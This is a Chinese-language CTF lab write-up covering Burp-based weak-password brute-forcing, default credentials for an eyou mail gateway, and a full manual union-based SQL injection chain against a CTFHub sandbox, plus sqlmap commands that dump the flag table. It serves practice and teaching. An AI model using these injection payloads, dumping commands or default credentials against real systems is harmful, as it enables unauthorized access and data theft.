接下来进入密码口令的部分
查看源代码,没有什么提示
随机测试几个弱口令admin 123456没有成功
接下来上burp进行密码爆破
加载了一个小型的弱口令字典几秒钟就测出来了一个返回长度不一样的
很有可能就是密码所以查看下返回包,果不其然
也可以到页面进行登录
这个题目我找的好费劲,可能是我根本不会找,最终还是屈服在了csdn的大佬博客之下
eyougw
admin@(eyou)
这里使用hackbar进行注入,因为url里不是很好操作
?id=1 and 1=1 回显正常
?id=1 and 1=2 回显错误
此处可能具有SQL注入漏洞
?id=1 order by 1 回显正常
?id=1 order by 2 回显正常
?id=1 order by 3 回显错误
此处有两个字段
最初的原型是这样的
?id=1 and 1=1 union select 1,2
但是因为只有一个回显点所以后面的联合查询结果会被前面的数据覆盖
所以需要更改前面的数据,使得前面数据不能查找成功,在这里可以更改id的传参为浮点数(小数)
?id=1.1 and 1=1 union select 1,2
?id=1.1 and 1 union select 1,2
也可以更改后面的等式使其不成立
?id=1 and 1=2 union select 1,2
这样根据页面的回显得到了回显点为第二位,即2的位置
查询一下所在库库名
?id=1.111 and 1 union select 1,database()
现在知道库名,然后需要爆出表名
这是需要了解一个叫做系统自带库的东西,里面存储了所有的表名字段名等
?id=1.111 and 1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
其中limit是因为只有一个回显点所以需要设置下回显数据条数防止遗漏数据
改为1试试
?id=1.111 and 1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1)
改为2发现就没有数据了
此时得知了有flag和news两张表
然后就是查看字段名
开始的时候我以为我的语句错误了,因为都是flag。。。
?id=1.111 and 1 union select 1,(select column_name from information_schema.columns where table_name=‘flag’ and table_schema = database() limit 0,1)
通过更改limit的第一个参数可以知道只有一个名为flag的字段
最后就是最简单的一步了
取出数据
?id=1.111 and 1 union select 1,(select flag from flag)
这是手注的过程,再使用sqlmap进行注入
python sqlmap.py -u http://challenge-57e3cdbfc1861e51.sandbox.ctfhub.com:10800/?id=1
但是sqlmap总是喜欢把题目认成时间盲注。。。
python sqlmap.py -u http://challenge-57e3cdbfc1861e51.sandbox.ctfhub.com:10800/?id=1 --tables
我直接**–tables**发现他有很多库,就先看下所在库就好了
指定库名指定表名
python sqlmap.py -u http://challenge-57e3cdbfc1861e51.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
拿取数据
python sqlmap.py -u http://challenge-57e3cdbfc1861e51.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump
因篇幅问题不能全部显示,请点此查看更多更全内容
Copyright © 2019- huatuo0.com 版权所有 湘ICP备2023021991号-1
违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务